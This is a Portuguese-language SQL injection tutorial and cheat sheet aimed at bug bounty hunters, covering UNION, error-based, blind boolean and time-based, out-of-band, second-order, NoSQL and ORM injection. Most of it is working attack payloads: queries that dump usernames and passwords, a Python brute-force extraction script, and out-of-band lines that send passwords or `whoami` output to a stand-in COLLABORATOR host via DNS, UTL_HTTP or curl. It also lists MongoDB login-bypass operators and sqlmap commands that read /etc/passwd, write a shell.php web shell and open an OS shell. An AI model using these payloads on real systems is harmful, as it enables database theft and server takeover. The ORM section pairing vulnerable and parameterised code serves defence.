Kaique Mitsuo Silva Yamamoto
Seguranca informacaoWeb vulnerabilities

SQL Injection: exploração completa

UNION-based, blind boolean, blind time, out-of-band, second-order, NoSQL injection, ORM injection, WAF bypass — SQLi do básico ao avançado.

SQL Injection permite ler, modificar ou destruir dados do banco. Em alguns cenários, executa comandos no OS. É uma das vulnerabilidades mais lucrativas em bug bounty.


Classificação completa

SQLi
├── In-band (resultado na response)
│   ├── UNION-based (UNION SELECT para extrair dados)
│   └── Error-based (erros revelam dados)
├── Blind (sem resultado direto)
│   ├── Boolean-based (response diferente = true/false)
│   └── Time-based (delay = true/false)
├── Out-of-band (callback via DNS/HTTP)
│   ├── DNS exfiltration
│   └── HTTP exfiltration
└── Advanced
    ├── Second-order (payload persistido, executado depois)
    ├── ORM injection (SQLAlchemy, Hibernate, Sequelize)
    ├── NoSQL injection (MongoDB, CouchDB)
    └── GraphQL injection

UNION-based SQLi

Passo a passo

-- 1. Detectar número de colunas
' ORDER BY 1--     (ok)
' ORDER BY 2--     (ok)
' ORDER BY 3--     (ok)
' ORDER BY 4--     (erro) → 3 colunas

-- OU usar UNION com NULLs
' UNION SELECT NULL--           (erro = mais colunas)
' UNION SELECT NULL,NULL--      (erro = mais colunas)
' UNION SELECT NULL,NULL,NULL-- (ok = 3 colunas)

-- 2. Identificar colunas visíveis (string-friendly)
' UNION SELECT 1,2,3--
' UNION SELECT 'a','b','c'--
-- Se "b" aparece na response → coluna 2 é visível

-- 3. Extrair informação do banco
' UNION SELECT NULL,database(),NULL--
' UNION SELECT NULL,version(),NULL--
' UNION SELECT NULL,user(),NULL--

-- 4. Listar tabelas
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()--

-- 5. Listar colunas
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--

-- 6. Extrair dados
' UNION SELECT NULL,username,password FROM users--
' UNION SELECT NULL,group_concat(username,0x3a,password),NULL FROM users--

Extrair dados eficientemente

-- Concatenar múltiplas linhas
' UNION SELECT NULL,group_concat(table_name),NULL FROM information_schema.tables WHERE table_schema=database()--

-- Limit + offset (quando group_concat não funciona)
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables LIMIT 0,1--
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables LIMIT 1,1--

-- Extrair de múltiplas tabelas
' UNION SELECT NULL,concat(table_name,':',column_name),NULL FROM information_schema.columns--

-- Concatenar username:password
' UNION SELECT NULL,concat(username,0x3a,password),NULL FROM users--

Error-based SQLi

Quando erros são exibidos na response, podemos extrair dados via mensagens de erro.

-- MySQL: extractvalue()
' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))--
' AND extractvalue(1,concat(0x7e,(SELECT group_concat(username,password) FROM users),0x7e))--

-- MySQL: updatexml()
' AND updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)--

-- PostgreSQL: CAST error
' AND 1=CAST((SELECT version()) AS int)--
' AND 1=CAST((SELECT string_agg(username||':'||password,',') FROM users) AS int)--

-- MSSQL: CONVERT error
' AND 1=CONVERT(int,(SELECT @@version))--
' AND 1=CONVERT(int,(SELECT TOP 1 username FROM users))--

-- Oracle: XMLType
' AND 1=utl_inaddr.get_host_address((SELECT password FROM users WHERE rownum=1))--

Blind Boolean-based

Quando não há erro visível, mas a página muda entre true/false.

-- Detectar boolean behavior
?id=1 AND 1=1--  (página normal)
?id=1 AND 1=2--  (página diferente)

-- Extrair character por character
?id=1 AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
?id=1 AND (SELECT ASCII(SUBSTRING(username,1,1)) FROM users LIMIT 1)>97--
?id=1 AND (SELECT ASCII(SUBSTRING(username,1,1)) FROM users LIMIT 1)=97--

-- Automatizado com sqlmap
sqlmap -u "https://target.com/page?id=1" --technique=B --batch

-- Script Python manual
import requests

target = "https://target.com/page?id=1"
result = ""
for i in range(1, 50):
    for c in range(32, 127):
        payload = f" AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),{i},1))={c}--"
        r = requests.get(target + payload)
        if "Welcome" in r.text:
            result += chr(c)
            print(f"Found: {result}")
            break

Blind Time-based

Sem diferença visível na response — usar delay para inferir dados.

-- MySQL: SLEEP()
?id=1 AND IF(1=1,SLEEP(5),0)--   (delay de 5s = true)
?id=1 AND IF(1=2,SLEEP(5),0)--   (sem delay = false)

-- Extrair dados
?id=1 AND IF((SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a',SLEEP(5),0)--

-- PostgreSQL: pg_sleep()
?id=1; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--

-- MSSQL: WAITFOR DELAY
?id=1; IF(1=1) WAITFOR DELAY '0:0:5'--

-- Oracle: DBMS_LOCK.SLEEP()
?id=1 AND 1=(SELECT CASE WHEN 1=1 THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 1 END FROM dual)--

-- BENCHMARK (alternativa a SLEEP)
?id=1 AND IF(1=1,BENCHMARK(5000000,SHA1('test')),0)--

-- Heavy query (alternativa sem SLEEP)
?id=1 AND IF(1=1,(SELECT COUNT(*) FROM information_schema.tables A, information_schema.tables B),0)--

Out-of-band SQLi

Quando nem error nem boolean/time funcionam — extrair via DNS/HTTP callback.

-- MySQL: DNS exfiltration via LOAD_FILE / UDF
?id=1 AND LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.COLLABORATOR\\a'))--

-- MySQL: DNS via SELECT INTO OUTFILE (se permissões)
?id=1 UNION SELECT NULL,(SELECT password FROM users LIMIT 1) INTO OUTFILE '\\\\COLLABORATOR\\a'--

-- MSSQL: xp_dirtree / xp_cmdshell
?id=1; EXEC master..xp_dirtree '\\\\COLLABORATOR\\a'--
?id=1; EXEC master..xp_fileexist '\\\\COLLABORATOR\\a'--

-- Oracle: HTTP request via UTL_HTTP
?id=1 AND UTL_HTTP.REQUEST('http://COLLABORATOR/'||(SELECT password FROM users WHERE rownum=1)) IS NOT NULL--

-- PostgreSQL: COPY TO PROGRAM (PostgreSQL 9.3+)
?id=1; COPY (SELECT '') TO PROGRAM 'curl http://COLLABORATOR/$(whoami)'--

-- DNS exfiltration via subdomain
-- Resultado aparece como: admin-password-here.COLLATORATOR.com
?id=1 AND (SELECT LOAD_FILE(CONCAT('\\\\', (SELECT HEX(password) FROM users LIMIT 1), '.COLLABORATOR\\foo')))--

Second-order SQLi

O payload é armazenado (sem execução imediata) e executado quando outro processo o usa.

Cenário:
1. Registro de usuário: username = admin'--
2. Aplicação armazena sem sanitizar
3. Login funciona (username é inserido em query sem escape)
4. Funcionalidade "esqueci senha" usa o username armazenado
5. Query: UPDATE users SET password='new' WHERE username='admin'--
6. Resultado: senha do admin resetada
-- Username no registro
admin' UNION SELECT password FROM users WHERE username='admin'--

-- Email no perfil
test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'[email protected]

-- Profile description
' OR 1=1 UPDATE users SET role='admin' WHERE username='attacker'--

NoSQL Injection (MongoDB)

// Authentication bypass
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": {"$exists": true}, "password": {"$exists": true}}

// $regex para brute-force de dados
{"username": {"$regex": "^a.*"}}
{"username": {"$regex": "^ad.*"}}
{"username": {"$regex": "^adm.*"}}

// $where (JavaScript injection)
{"$where": "sleep(5000)"}
{"$where": "this.username == 'admin'"}
{"$where": "return this.username.match(/^a.*/)"}

// Array injection
{"username": ["admin"], "password": {"$gt": ""}}

// Operator injection via URL
?username[$gt]=&password[$gt]=
?username[$ne]=&password[$ne]=
?username[$regex]=^a.*

// Blind NoSQL
?username=admin&password[$regex]=^p.*
?username=admin&password[$regex]=^pa.*
?username=admin&password[$regex]=^pas.*

ORM Injection

# SQLAlchemy (Python) — string concatenation
query = f"SELECT * FROM users WHERE id = {user_id}"  # VULNERÁVEL
query = session.query(User).filter(User.id == user_id)  # SEGURO (parameterized)

# Sequelize (Node.js) — raw queries
sequelize.query(`SELECT * FROM users WHERE id = ${userId}`)  # VULNERÁVEL
sequelize.query('SELECT * FROM users WHERE id = :id', {replacements: {id: userId}})  # SEGURO

# Hibernate (Java) — string concat
session.createQuery("FROM User WHERE name = '" + name + "'")  # VULNERÁVEL
session.createQuery("FROM User WHERE name = :name").setParameter("name", name)  # SEGURO

# Django ORM — raw SQL
User.objects.raw(f"SELECT * FROM users WHERE name = '{name}'")  # VULNERÁVEL
User.objects.filter(name=name)  # SEGURO (parameterized)

SQLmap — Uso Avançado

# Configurar threads para speed
sqlmap -u "https://target.com/page?id=1" --threads=10 --batch

# Custom injection point
sqlmap -u "https://target.com/page" --data="id=1*&name=test" --batch

# Tamper scripts (WAF bypass)
sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,between,randomcase,charencode --batch

# Múltiplos tampers
sqlmap -u "https://target.com/page?id=1" --tamper=between,randomcase --batch

# File operations (se DBA privileges)
sqlmap -u "https://target.com/page?id=1" --file-read="/etc/passwd" --batch
sqlmap -u "https://target.com/page?id=1" --file-write=shell.php --file-dest=/var/www/html/shell.php --batch

# OS command execution
sqlmap -u "https://target.com/page?id=1" --os-shell --batch

# Custom SQL query
sqlmap -u "https://target.com/page?id=1" --sql-query="SELECT @@version" --batch

# Risk e Level
sqlmap -u "https://target.com/page?id=1" --level=5 --risk=3 --batch
# level 1-5: mais testes (headers, cookies, etc.)
# risk 1-3: mais payloads (OR-based, time-based, heavy queries)

# Cookie-based injection
sqlmap -u "https://target.com/page?id=1" --cookie="session=abc;token=xyz" --batch

# HTTP header injection
sqlmap -u "https://target.com/page?id=1" --headers="X-Forwarded-For: *\nUser-Agent: *" --batch

# Second-order
sqlmap -u "https://target.com/page?id=1" --second-url="https://target.com/profile" --second-req=second.req --batch

Detecção manual vs automática

O que sqlmap NÃO encontra:
  → Second-order SQLi (precisa de script custom)
  → ORM injection com lógica complexa
  → SQLi em GraphQL mutations
  → SQLi em JSON/XML body
  → SQLi com WAF avançado (precisa de tampers manuais)

O que faz manualmente:
  → Testar cada input com ' OR 1=1--
  → Observar differences em responses (timing, content, headers)
  → Mapear o banco (MySQL vs PostgreSQL vs MSSQL vs Oracle)
  → Adaptar payloads ao contexto

Referências

On this page